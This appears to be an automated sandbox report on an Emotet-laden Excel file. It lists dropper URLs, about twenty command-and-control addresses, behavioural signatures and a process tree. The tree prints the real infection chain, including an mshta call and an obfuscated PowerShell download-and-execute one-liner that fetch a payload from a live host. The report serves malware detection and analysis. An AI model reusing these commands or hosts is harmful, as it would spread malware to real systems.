Analysis

  • max time kernel
    121s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    27/01/2022, 15:12

General

  • Target
    tmpawrg_t18.xls
  • Size 155KB
  • Sample220127-sk7bwaeffl
  • SHA256 1dec115d869f2a52fa0d5ec43cdd494a34107705137ce8e43dd47aa0f6ebb3bd
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/qqqw/aaas/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/qqqw/aaas/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 159.69.43.124:8080

  • 45.79.80.198:443

  • 207.148.81.119:8080

  • 128.199.192.135:8080

  • 118.98.72.86:443

  • 217.182.143.207:443

  • 168.197.250.14:80

  • 116.124.128.206:8080

  • 78.46.73.125:443

  • 185.148.168.15:8080

  • 195.154.146.35:443

  • 85.214.67.203:8080

  • 194.9.172.107:8080

  • 59.148.253.194:443

  • 210.57.209.142:8080

  • 54.38.242.185:443

  • 195.77.239.39:8080

  • 159.69.237.188:443

  • 104.131.62.48:8080

  • 62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpawrg_t18.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1412
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c mshta http://91.240.118.168/qqqw/aaas/se.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:576
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/qqqw/aaas/se.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:1652
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/qqqw/aaas/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1856
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:920
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:904
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:2028
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gwzbr\mwjwgyktjae.duh",lypIh
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1220
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Gwzbr\mwjwgyktjae.duh",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1844

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/904-70-0x00000000001F0000-0x0000000000217000-memory.dmp

        memory/1220-92-0x0000000000290000-0x00000000002B7000-memory.dmp

        memory/1412-115-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1412-58-0x0000000076851000-0x0000000076853000-memory.dmp

        memory/1412-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1412-56-0x0000000071B61000-0x0000000071B63000-memory.dmp

        memory/1412-55-0x000000002FC01000-0x000000002FC04000-memory.dmp

        memory/1844-97-0x0000000000800000-0x0000000000827000-memory.dmp

        memory/1844-107-0x0000000002770000-0x0000000002797000-memory.dmp

        memory/1844-113-0x0000000002A60000-0x0000000002A87000-memory.dmp

        memory/1844-111-0x00000000029A0000-0x00000000029C7000-memory.dmp

        memory/1844-109-0x0000000002900000-0x0000000002927000-memory.dmp

        memory/1844-105-0x0000000002710000-0x0000000002737000-memory.dmp

        memory/1844-103-0x00000000024F0000-0x0000000002517000-memory.dmp

        memory/1844-95-0x0000000000350000-0x0000000000377000-memory.dmp

        memory/1844-101-0x0000000002490000-0x00000000024B7000-memory.dmp

        memory/1844-99-0x00000000022F0000-0x0000000002317000-memory.dmp

        memory/1856-63-0x0000000002550000-0x000000000319A000-memory.dmp

        memory/2028-77-0x0000000000700000-0x0000000000727000-memory.dmp

        memory/2028-79-0x00000000009D0000-0x00000000009F7000-memory.dmp

        memory/2028-91-0x00000000027F0000-0x0000000002817000-memory.dmp

        memory/2028-81-0x00000000022E0000-0x0000000002307000-memory.dmp

        memory/2028-87-0x00000000025C0000-0x00000000025E7000-memory.dmp

        memory/2028-85-0x0000000002470000-0x0000000002497000-memory.dmp

        memory/2028-83-0x0000000002340000-0x0000000002367000-memory.dmp